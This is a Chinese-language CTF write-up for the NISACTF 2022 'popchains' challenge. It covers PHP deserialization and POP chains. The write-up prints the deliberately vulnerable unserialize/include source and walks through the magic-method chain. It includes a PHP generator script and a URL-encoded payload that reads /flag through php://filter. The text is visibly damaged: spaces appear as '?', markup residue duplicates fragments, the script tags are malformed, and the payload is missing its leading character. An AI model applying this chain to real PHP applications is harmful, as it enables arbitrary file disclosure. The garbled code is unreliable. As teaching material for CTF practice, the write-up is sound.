CTF web解题 [NISACTF 2022]popchains PHP反序列化 pop链

发布于:2025-02-11 ⋅ 阅读:(44) ⋅ 点赞:(0)

不积跬步无以至千里 不积小流无以成江海

对web方向有了更近一步的了解,根据一道题目来学习PHP反序列化及pop链

[NISACTF 2022]popchains

flag:NSSCTF{3096663a-4b18-4567-bdfb-8403f9414704}

Happy New Year~ MAKE A WISH
<?php echo?'Happy?New?Year~?MAKE?A?WISH<br>'; if(isset($_GET['wish'])){ ????@unserialize($_GET['wish']); } else{ ????$a=new?Road_is_Long; ????highlight_file(__FILE__); } /***************************pop?your?2022*****************************/ class?Road_is_Long{ ????public?$page; ????public?$string; ????public?function?__construct($file='index.php'){ ????????$this->page?=?$file; ????} ????public?function?__toString(){ ????????return?$this->string->page; ????} ????public?function?__wakeup(){ ????????if(preg_match("/file|ftp|http|https|gopher|dict|../i",?$this->page))?{ ????????????echo?"You?can?Not?Enter?2022"; ????????????$this->page?=?"index.php"; ????????} ????} } class?Try_Work_Hard{ ????protected??$var; ????public?function?append($value){ ????????include($value); ????} ????public?function?__invoke(){ ????????$this->append($this->var); ????} } class?Make_a_Change{ ????public?$effort; ????public?function?__construct(){ ????????$this->effort?=?array(); ????} ????public?function?__get($key){ ????????$function?=?$this->effort; ????????return?$function(); ????} } /**********************Try?to?See?flag.php*****************************/

先看题目

需要get’一个wish然后进行反序列化构造,然后对pop链进行构造

看到Try_Work_Hard类中的append()方法内有include(),想到可以利用php伪协议对数据流进行读取,那么这就作为POP链的末尾。

触发append()方法,在__invoke()里就存在append(),在Try_Work_Hard类的对象被当做函数调用时即可触发__invoke()

先对payload进行构造,最后拼接即可:

在终点append()内,需要令$value=php://filter/convert.base64-encode/resource=/flag

在append()前驱,也就是__invoke()内,我们是对append()传入了$this->var,因此对于构造的Try_Work_Hard类的对象,构造:

$var=php://filter/convert.base64-encode/resource=/flag

需要让Try_Work_Hard类的对象被当做函数调用以触发__invoke()

发现Make_a_Change类中,__get()方法内返回 f u n c t i o n ( ) 。可以令 function()。可以令 function()。可以令function等于一个Try_Work_Hard类的对象,这样当__get()方法内返回$function()时就可以触发__invoke()。

触发__get()方法,它在访问私有或不存在的成员属性的时候自动触发,看到在Road_is_Long类的__toString()方法中,令 t h i s − > s t r i n g = n e w M a k e _ a _ C h a n g e ( ) ,那么 this->string = new Make\_a\_Change(),那么 this>string=newMake_a_Change(),那么this->string->page就会触发__get()方法,因为Make_a_Change类中没有$page

对Make_a_Change类构造如下:

$a = new Make_a_Change();

$a->effort = new Try_Work_Hard();

  • 最后很显然,POP链开头就是Road_is_Long类

需要这个类的__toString()方法,它需要把类当作字符串使用时触发。而在其本身有个__wakeup()方法,里面存在正则匹配,因此只需要令page成为一个Try_Work_Hard类即可。__wakeup()方法会在进行反序列化的时候自动触发,不用管

这里需要两个Road_is_Long类的对象,我们对其命名为a和b,a在外层触发__wakeup(),b作为a的page,在a中被作为字符使用,从而触发b自身的__toString()

$b = new Road_is_Long();

$b->string = new Make_a_Change();

$a = new Road_is_Long();

$a->page = $b;

构造payload如下:

<php

class Road_is_Long{

public $page;

public $string;

}

class Try_Work_Hard{

protected $var=“php://filter/convert.base64-encode/resource=/flag”;

}

class Make_a_Change{

public $effort;

}

$f = new Try_Work_Hard();

$m = new Make_a_Change();

$m->effort = $f;

$b = new Road_is_Long();

$b->string = $m;

$a = new Road_is_Long();

$a->page = $b;

echo urlencode(serialize($a));

>

payload:wish=%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

最后base64解密得到


网站公告

今日签到

点亮在社区的每一天
去签到